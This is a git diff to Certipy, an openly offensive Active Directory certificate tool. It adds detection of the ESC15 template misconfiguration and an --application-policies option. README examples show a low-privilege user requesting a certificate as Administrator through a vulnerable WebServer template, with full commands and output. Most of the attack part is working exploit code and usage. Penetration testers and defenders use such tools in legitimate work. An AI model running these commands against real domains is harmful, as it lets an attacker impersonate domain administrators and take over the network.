diff --git a/README.md b/README.md index d0d3511..b4315f9 100644 --- a/README.md +++ b/README.md @@ -26,6 +26,7 @@ Certipy is an offensive tool for enumerating and abusing Active Directory Certif - [ESC8](#esc8) - [ESC9 & ESC10](#esc9--esc10) - [ESC11](#esc11) + - [ESC15](#esc15) - [Contact](#contact) - [Credits](#credits) @@ -815,6 +816,91 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Exiting... ``` +### ESC15 + +ESC15 is when a certificate template has most of the primary conditions for ESC1, including: +- The template permits low-privilege users to enroll. +- The template permits the user to specify an arbitrary SAN. +- The template is using Schema Version 1. + +However, the template does not have the 'Client Authentication' EKU. Example output of a vulnerable template would look like the following: + +```bash + 6 + Template Name : WebServer + Display Name : Web Server + Certificate Authorities : CORP-DC-CA + Enabled : True + Client Authentication : False + Enrollment Agent : False + Any Purpose : False + Enrollee Supplies Subject : True + Certificate Name Flag : EnrolleeSuppliesSubject + Enrollment Flag : None + Private Key Flag : AttestNone + Extended Key Usage : Server Authentication + Requires Manager Approval : False + Requires Key Archival : False + Authorized Signatures Required : 0 + Validity Period : 2 years + Renewal Period : 6 weeks + Minimum RSA Key Length : 2048 + Template Schema Version : 1 + Permissions + Enrollment Permissions + Enrollment Rights : CORP.COM\Domain Users + CORP.COM\Domain Admins + CORP.COM\Enterprise Admins + CORP.COM\Authenticated Users + Object Control Permissions + Owner : CORP.COM\Enterprise Admins + Write Owner Principals : CORP.COM\Domain Admins + CORP.COM\Enterprise Admins + Write Dacl Principals : CORP.COM\Domain Admins + CORP.COM\Enterprise Admins + Write Property Principals : CORP.COM\Domain Admins + CORP.COM\Enterprise Admins + [!] Vulnerabilities + ESC15 : 'CORP.COM\\Domain Users' and 'CORP.COM\\Authenticated Users' can enroll, enrollee supplies subject and schema version is 1 +``` + +We can supply arbitrary Application Policies by using the `--application-policies` parameter. + +```bash +certipy req -ca CORP-DC-CA -target-ip 192.168.4.178 -u 'user@corp.com' -p 'Password1' -template "WebServer" -upn "Administrator@corp.com" --application-policies 'Client Authentication' +Certipy v4.8.2 - by Oliver Lyak (ly4k) + +[+] Trying to resolve 'CORP.COM' at '127.0.0.53' +[+] Generating RSA key +[*] Requesting certificate via RPC +[+] Trying to connect to endpoint: ncacn_np:192.168.4.178[\pipe\cert] +[+] Connected to endpoint: ncacn_np:192.168.4.178[\pipe\cert] +[*] Successfully requested certificate +[*] Request ID is 32 +[*] Got certificate with UPN 'Administrator@corp.com' +[*] Certificate has no object SID +[*] Saved certificate and private key to 'administrator.pfx' +``` + +You can also specify the Application Policy OID directly. + +```bash +certipy req -ca CORP-DC-CA -target-ip 192.168.4.178 -u 'user@corp.com' -p 'Password1' -template "WebServer" -upn "Administrator@corp.com" --application-policies '1.3.6.1.5.5.7.3.2' +Certipy v4.8.2 - by Oliver Lyak (ly4k) + +[+] Trying to resolve 'CORP.COM' at '127.0.0.53' +[+] Generating RSA key +[*] Requesting certificate via RPC +[+] Trying to connect to endpoint: ncacn_np:192.168.4.178[\pipe\cert] +[+] Connected to endpoint: ncacn_np:192.168.4.178[\pipe\cert] +[*] Successfully requested certificate +[*] Request ID is 33 +[*] Got certificate with UPN 'Administrator@corp.com' +[*] Certificate has no object SID +[*] Saved certificate and private key to 'administrator.pfx' +``` + + ## Contact Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter [@ly4k_](https://twitter.com/ly4k_). diff --git a/certipy/commands/find.py b/certipy/commands/find.py index 8b23dd8..9e5b625 100755 --- a/certipy/commands/find.py +++ b/certipy/commands/find.py @@ -736,6 +736,7 @@ def get_certificate_templates(self) -> List[LDAPEntry]: "pKIExtendedKeyUsage", "nTSecurityDescriptor", "objectGUID", + "msPKI-Template-Schema-Version" ], query_sd=True, ) @@ -830,7 +831,8 @@ def get_template_properties( "authorized_signatures_required": "Authorized Signatures Required", "validity_period": "Validity Period", "renewal_period": "Renewal Period", - "msPKI-Minimal-Key-Size": "Minimum RSA Key Length" + "msPKI-Minimal-Key-Size": "Minimum RSA Key Length", + "msPKI-Template-Schema-Version": "Template Schema Version" } if template_properties is None: @@ -967,6 +969,18 @@ def list_sids(sids: List[str]): enrollable_sids ) + # ESC15 Check: User can enroll, enrollee supplies subject, and schema version is 1 + if ( + user_can_enroll + and template.get("enrollee_supplies_subject") + and template.get("msPKI-Template-Schema-Version") == 1 + ): + vulnerabilities[ + "ESC15" + ] = "%s can enroll, enrollee supplies subject and schema version is 1" % list_sids( + enrollable_sids + ) + # ESC4 security = CertifcateSecurity(template.get("nTSecurityDescriptor")) owner_sid = security.owner diff --git a/certipy/commands/parsers/req.py b/certipy/commands/parsers/req.py index 8a7cf3b..6717e09 100755 --- a/certipy/commands/parsers/req.py +++ b/certipy/commands/parsers/req.py @@ -5,13 +5,11 @@ from . import target - def entry(options: argparse.Namespace): from certipy.commands import req req.entry(options) - def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: subparser = subparsers.add_parser(NAME, help="Request certificates") subparser.add_argument("-debug", action="store_true", help="Turn debug output on") @@ -31,7 +29,7 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable "-subject", action="store", metavar="subject", - help="Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", + help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", ) group.add_argument( "-retrieve", @@ -71,6 +69,13 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable action="store_true", help="Create renewal request", ) + group.add_argument( + "--application-policies", + action="store", + nargs='+', + metavar="Application Policy", + help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')" + ) group = subparser.add_argument_group("output options") group.add_argument("-out", action="store", metavar="output file name") @@ -106,4 +111,4 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable target.add_argument_group(subparser, connection_options=connection_group) - return NAME, entry + return NAME, entry \ No newline at end of file diff --git a/certipy/commands/req.py b/certipy/commands/req.py index 7e06b96..33789e7 100755 --- a/certipy/commands/req.py +++ b/certipy/commands/req.py @@ -37,6 +37,7 @@ from certipy.lib.logger import logging from certipy.lib.rpc import get_dce_rpc from certipy.lib.target import Target +from certipy.lib.constants import OID_TO_STR_MAP from .ca import CA @@ -74,7 +75,6 @@ class CERTTRANSBLOB(NDRSTRUCT): ("pb", PBYTE), ) - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 class CertServerRequest(NDRCALL): opnum = 0 @@ -86,7 +86,6 @@ class CertServerRequest(NDRCALL): ("pctbRequest", CERTTRANSBLOB), ) - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 class CertServerRequestResponse(NDRCALL): structure = ( @@ -148,7 +147,7 @@ def retrieve(self, request_id: int) -> x509.Certificate: request["pctbAttribs"] = empty request["pctbRequest"] = empty - logging.info("Rerieving certificate with ID %d" % request_id) + logging.info("Retrieving certificate with ID %d" % request_id) response = self.dce.request(request, checkError=False) @@ -539,6 +538,7 @@ def __init__( scheme: str = None, dynamic_endpoint: bool = False, debug=False, + application_policies: List[str] = None, **kwargs ): self.target = target @@ -556,6 +556,9 @@ def __init__( self.renew = renew self.out = out self.key = key + self.application_policies = [ + OID_TO_STR_MAP.get(policy, policy) for policy in (application_policies or []) + ] self.web = web self.port = port @@ -667,6 +670,13 @@ def request(self) -> bool: with open(self.pfx, "rb") as f: renewal_key, renewal_cert = load_pfx(f.read()) + converted_policies = [] + for policy in self.application_policies: + oid = next((k for k, v in OID_TO_STR_MAP.items() if v.lower() == policy.lower()), policy) + converted_policies.append(oid) + + self.application_policies = converted_policies + csr, key = create_csr( username, alt_dns=self.alt_dns, @@ -676,6 +686,7 @@ def request(self) -> bool: key_size=self.key_size, subject=self.subject, renewal_cert=renewal_cert, + application_policies=self.application_policies ) self.key = key @@ -704,6 +715,7 @@ def request(self) -> bool: csr = create_on_behalf_of(csr, self.on_behalf_of, agent_cert, agent_key) + # Construct attributes list attributes = ["CertificateTemplate:%s" % self.template] if self.alt_upn is not None or self.alt_dns is not None: @@ -715,6 +727,10 @@ def request(self) -> bool: attributes.append("SAN:%s" % "&".join(san)) + if self.application_policies: + policy_string = "&".join(self.application_policies) + attributes.append(f"ApplicationPolicies:{policy_string}") + cert = self.interface.request(csr, attributes) if cert is False: diff --git a/certipy/lib/certificate.py b/certipy/lib/certificate.py index dcf3e9e..cd86572 100755 --- a/certipy/lib/certificate.py +++ b/certipy/lib/certificate.py @@ -334,15 +334,14 @@ def create_csr( key_size: int = 2048, subject: str = None, renewal_cert: x509.Certificate = None, + application_policies: List[str] = None, # Application policies parameter ) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]: if key is None: logging.debug("Generating RSA key") key = generate_rsa_key(key_size) - # csr = asn1csr.CertificationRequest() certification_request_info = asn1csr.CertificationRequestInfo() certification_request_info["version"] = "v1" - # csr = x509.CertificateSigningRequestBuilder() if subject: subject_name = get_subject_from_str(subject) @@ -408,7 +407,6 @@ def create_csr( if type(alt_sid) == str: alt_sid = alt_sid.encode() - san_extension = asn1x509.Extension( {"extn_id": "security_ext", "extn_value": [asn1x509.GeneralName( { @@ -445,6 +443,33 @@ def create_csr( ) ) + # Add Microsoft Application Policies (Windows-specific) + if application_policies: + # Convert each policy OID string to asn1x509.PolicyIdentifier + application_policy_oids = [ + asn1x509.PolicyInformation({ + 'policy_identifier': asn1x509.PolicyIdentifier(ap) + }) for ap in application_policies + ] + + # Convert CertificatePolicies to a DER-encoded byte string + cert_policies = asn1x509.CertificatePolicies(application_policy_oids) + der_encoded_cert_policies = cert_policies.dump() + + app_policy_extension = asn1x509.Extension( + { + "extn_id": "1.3.6.1.4.1.311.21.10", # OID for Microsoft Application Policies + "critical": False, + "extn_value": asn1x509.ParsableOctetString(der_encoded_cert_policies) + } + ) + + set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]]) + cri_attribute = asn1csr.CRIAttribute( + {"type": "extension_request", "values": set_of_extensions} + ) + cri_attributes.append(cri_attribute) + certification_request_info["attributes"] = cri_attributes signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key) @@ -461,7 +486,6 @@ def create_csr( return (der_to_csr(csr.dump()), key) - def rsa_pkcs1v15_sign( data: bytes, key: rsa.RSAPrivateKey, hash: hashes.HashAlgorithm = hashes.SHA256 ): @@ -957,4 +981,4 @@ def dn_to_components(dn): def get_subject_from_str(subject) -> x509.Name: - return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1]) + return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1]) \ No newline at end of file